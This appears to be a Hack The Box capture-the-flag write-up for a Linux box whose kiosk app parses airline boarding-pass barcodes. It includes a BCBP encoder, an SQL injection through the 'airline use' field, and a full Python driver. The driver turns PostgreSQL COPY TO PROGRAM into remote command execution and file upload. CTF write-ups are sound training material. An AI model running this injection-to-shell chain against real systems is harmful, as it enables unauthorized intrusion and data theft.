Hack The Box - HTB DutyBound Medium - Weekly - October 24th, 2026
- Target:
<TARGET_IP>(dutybound.htb/ vhostairsnacks.htb) - OS / Difficulty: Linux · Medium
- Date: 2026-10-29
- Attacker VPN IP:
<ATTACKER_IP>
0. Lab setup
HTB's VPN tunnel can silently black-hole large outbound packets at the default 1500 MTU
(TLS, big POST bodies). Dropped it to 1300 up front, and mapped the vhosts:
sudo ip link set dev tun0 mtu 1300
echo "<TARGET_IP> dutybound.htb airsnacks.htb" | sudo tee -a /etc/hosts
1. Recon
Port scan
nmap -sT -T4 --min-rate 1000 -p- <TARGET_IP> -oN nmap/allports.txt
nmap -sV -sC -p22,80,443 <TARGET_IP> -oN nmap/services.txt
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.18 (Ubuntu 22.04)
80/tcp open http nginx 1.18.0 (Ubuntu) -> redirects to https://airsnacks.htb/
443/tcp open ssl/http nginx 1.18.0 (Ubuntu) ssl-cert CN=airsnacks.htb
Port 80 redirects to https://airsnacks.htb/ and the TLS certificate's CN isairsnacks.htb — so the real application is served on the airsnacks.htb vhost.
nginx is just a reverse proxy.
Web application
https://airsnacks.htb is "AirSnacks Self-Checkout" — a duty-free kiosk web app
(Flask; Set-Cookie: session=…, Vary: Cookie). The flow, from /static/app.js:
/browse— product catalogue, each item has adata-skuPOST /cart/add{"sku": "..."}— add to cartPOST /checkout/boarding-pass/verify{"raw": "<barcode>"}— scan a boarding pass
The last endpoint parses an IATA BCBP (Bar-Coded Boarding Pass, format "M") and uses
it to decide duty-free eligibility. That parser is the attack surface.
2. The BCBP parser & the injection point
Getting a well-formed boarding pass
Probing the endpoint:
{"raw":""} → {"error":"CART_EMPTY"} # needs a cart first
<valid mandatory only> → {"error":"BCBP_ERR_CONDITIONAL_REQUIRED","item":6}
An IATA M1 BCBP is fixed-width: a 58-byte mandatory block, then a 2-hex "item 6" length,
then a conditional/variable block (version header + "unique" + "repeated" structs + a
trailing "for airline use" free-text field).
Hand-counting these fields is error-prone, so I wrote a small encoder that keeps the
mandatory block at exactly 58 bytes, sizes every conditional sub-field so the parser and
validator accept it, and exposes the one field I care about — the "for airline use" text:
scripts/bcbp.py
#!/usr/bin/env python3
# Minimal IATA M1 BCBP encoder. Lets us control the conditional block and
# the "for airline use" free-text field exactly (that's the SQLi sink).
import sys
def fit(s, n):
s = str(s)
return (s + " " * n)[:n]
def build(airline_use="", issuer="AC ", version="5",
name="DESMARAIS/LUC", pnr="ABC123", frm="YUL", to="FRA",
carrier="AC", flight="0834", date="326", comp="J",
seat="001A", seq="0025", status="1"):
# Mandatory (58 chars)
mand = "M" + "1"
mand += fit(name, 20)
mand += "E"
mand += fit(pnr, 7)
mand += fit(frm, 3) + fit(to, 3) + fit(carrier, 3)
mand += fit(flight, 5) + fit(date, 3) + comp + fit(seat, 4)
mand += fit(seq, 5) + status
assert len(mand) == 58, len(mand)
# Unique conditional block (per IATA): fields after the repeated-size byte
unique = ""
unique += "0" # passenger description
unique += "O" # source of check-in
unique += "O" # source of BP issuance
unique += "6225" # date of issue of BP (Julian w/ year)
unique += "B" # document type
unique += fit(issuer, 3) # airline designator of BP issuer
unique += fit("", 13) # baggage tag license plate
unique_sz = "%02X" % len(unique)
# Repeated conditional block (per-leg); keep the standard fields
repeated = ""
repeated += fit("014", 3) # airline numeric code
repeated += fit("1234567890", 10) # document serial
repeated += " " # selectee
repeated += "0" # international doc verification
repeated += fit(carrier, 3) # marketing carrier
repeated += fit(carrier, 3) # FF airline
repeated += fit("", 16) # FF number
repeated += " " # ID/AD
repeated += fit("", 3) # free baggage allowance
repeated += "0" # fast track
repeated_sz = "%02X" % len(repeated)
# Variable section = version header + unique + repeated + AIRLINE USE
var = ">" + version + unique_sz + unique + repeated_sz + repeated + airline_use
item6 = "%02X" % len(var)
return mand + item6 + var
if __name__ == "__main__":
au = sys.argv[1] if len(sys.argv) > 1 else ""
sys.stdout.write(build(airline_use=au))
A pass built this way is accepted and returns a signed eligibility token:
{"audit_ref":"aud_…","dest":"FRA","regime":"OFF_AIRPORT","exempt":false,
"eligibility_token":"eyJhbGciOiJIUzI1Ni…"}
SQL injection
Putting a single quote in the airline-use field returns a leaked query:
unterminated quoted string at or near "''')"
LINE 1: ...LUC', 'AC', '0834', '326', 'YUL', 'FRA', 'AC', '', 133, ''')
Our value is the last single-quoted literal of an INSERT. That is already enough to
exploit blindly, but to be certain of the sink I later read the application's own source.
Where this source comes from, and why it's in this section.
At this point in the attack I only have the blind error message above — I cannot read
files on the server yet. The Python below was retrieved later, once I had command
execution aspostgres(see §3). I'm showing it here, out of chronological order, because
it explains why the injection exists; just know that everything in this box quote was
obtained after §3, not before it.
The kiosk web app is a Flask package that gunicorn serves (found while enumerating as
postgres —ps auxshowsgunicorn … dcs_bridge.wsgi:app). Its code lives at:
The directory is world-readable (0755), so even the low-privilegedpostgresaccount can
read it. I pulled the file with the driver from §2:
The relevant function in /opt/vrs/airsnacksdf/dcs_bridge/audit.py — the exact sink the/checkout/boarding-pass/verify endpoint calls after parsing the pass — is:
def record_export_evidence(bp, raw):
conn = _conn()
audit_ref = "aud_" + uuid4().hex[:12]
try:
cur = conn.cursor()
sql = (
"INSERT INTO bp_scan_audit "
"(audit_ref, kiosk_id, ts, pnr, pax_name, carrier, flight_no, "
" dep_julian, origin, dest, ff_carrier, ff_number, raw_len, airline_use) "
"VALUES ('%s', '%s', now(), '%s', '%s', '%s', '%s', '%s', "
"'%s', '%s', '%s', '%s', %d, '%s')"
% (audit_ref, KIOSK_ID, bp.pnr.strip(), bp.pax_name.rstrip(),
bp.carrier.strip(), bp.flight_no.strip(), bp.julian,
bp.origin, bp.dest, bp.ff_carrier.strip(), bp.ff_number.strip(),
len(raw), bp.airline_use) # <-- last %s = OUR airline-use field
)
cur.execute(sql) # <-- query built by string %-format, then run
conn.commit()
return audit_ref
except psycopg2.Error as e:
conn.rollback()
raise DcsError(str(e)) # <-- DB error text is returned to us (read channel)
finally:
_pool.putconn(conn)
Reading it line by line explains every behaviour seen from the outside:
- The query is assembled by Python
%-formatting ("… '%s' …" % (…)) and only then
handed tocur.execute(sql). The values are baked into the SQL text, not passed as
parameters — that is the vulnerability. - The 14th placeholder maps to
bp.airline_use, which is the parser's trailing
"for airline use" conditional field — the one byte-range of the boarding pass we fully
control. The other placeholders (pnr,carrier,origin, …) are each validated by
regexes invalidator.py, butairline_useis never validated, so it is the only
field that can carry quotes and SQL. That matches the leaked error: our'landed in the
final literal. cur.execute(sql)with psycopg runs the whole string, so;-separated stacked
statements execute — this is what lets us append arbitrary SQL after breaking out.- On a DB error the handler does
raise DcsError(str(e)), andapp.pyreturns that text to
the client as the JSONdetailfield. That is precisely the error-based read channel
we abuse withcast(<expr> AS int).
So the break-out payload placed in the airline-use field is:
x'); <STATEMENT> ; --
which closes the '…' literal and its ) , runs our statement, and comments out the
original trailing ').
Error-based read channel
The app only returns audit_ref/token on success, so I exfiltrate via type-cast errors —
wrap any value in cast(<expr> AS int) and the integer-parse error echoes the string:
x'); SELECT cast(current_user as int); -- → "airsnacks_app"
x'); SELECT cast(version() as int); -- → "PostgreSQL 18.6 (Ubuntu …)"
Facts: current_user = airsnacks_app, not superuser, PostgreSQL 18.6.
The driver
All of the above (plus the RCE and file-upload below) is wrapped in one driver. run()
sends a single stacked payload; shell() runs an arbitrary OS command and returns its
output through the cast-error channel; put() uploads a local file. The key constraint is
that BCBP "item 6" is only 2 hex digits, so the whole variable section — and therefore
every payload — must stay under 256 bytes; long commands and files are base64-chunked
(≤80 chars per request) into a file on the target and reassembled server-side.
scripts/sqli.py
#!/usr/bin/env python3
# Drive the BCBP airline_use SQLi -> COPY TO PROGRAM RCE as postgres.
# BCBP item6 is a 2-hex length => the variable section (hence each payload)
# must stay < 256 chars. So long commands are base64-chunked to a file,
# then decoded & run server-side.
import sys, json, re, base64, urllib3, requests
sys.path.insert(0, "/home/kali/Desktop/htb/DutyBound/scripts")
import bcbp
urllib3.disable_warnings()
BASE = "https://airsnacks.htb"
s = requests.Session(); s.verify = False
def new_cart():
s.post(f"{BASE}/cart/add", json={"sku": "BER-PBR-4"})
def run(sql):
"""Send one stacked-query payload. Returns parsed JSON (or detail text)."""
au = "x'); " + sql + " ; -- "
raw = bcbp.build(airline_use=au)
r = s.post(f"{BASE}/checkout/boarding-pass/verify", json={"raw": raw})
try:
return r.json()
except Exception:
return {"_raw": r.text, "_status": r.status_code}
def _prog(cmd):
"""One COPY TO PROGRAM stacked statement running `cmd` via /bin/sh."""
new_cart()
return run("COPY (SELECT 1) TO PROGRAM $$" + cmd + "$$")
def shell(cmd, read=True):
"""Run an arbitrary (possibly long) command as postgres; return stdout+stderr.
Command is base64-chunked into /tmp/c, decoded to /tmp/r.sh, executed."""
b64 = base64.b64encode(cmd.encode()).decode()
_prog(": > /tmp/c") # truncate chunk file
for i in range(0, len(b64), 80): # keep each payload < 256
chunk = b64[i:i+80]
_prog("printf %s " + chunk + " >> /tmp/c")
_prog("base64 -d /tmp/c > /tmp/r.sh; bash /tmp/r.sh > /tmp/o 2>&1")
if not read:
return None
new_cart()
j = run("DROP TABLE IF EXISTS r;CREATE TEMP TABLE r(c text);"
"COPY r FROM PROGRAM $$cat /tmp/o$$;"
"SELECT cast((SELECT string_agg(c,chr(10)) FROM r)as int)")
d = j.get("detail", "")
m = re.search(r'invalid input syntax for type integer: "(.*)"', d, re.S)
return m.group(1) if m else "(no output) " + json.dumps(j)
def put(local, remote):
"""Upload a local file to the target by base64-chunking (no egress needed)."""
data = open(local, "rb").read()
b64 = base64.b64encode(data).decode()
_prog(": > /tmp/b64")
for i in range(0, len(b64), 80):
_prog("printf %s " + b64[i:i+80] + " >> /tmp/b64")
_prog("base64 -d /tmp/b64 > " + remote)
return len(data)
if __name__ == "__main__":
print(shell(sys.argv[1]))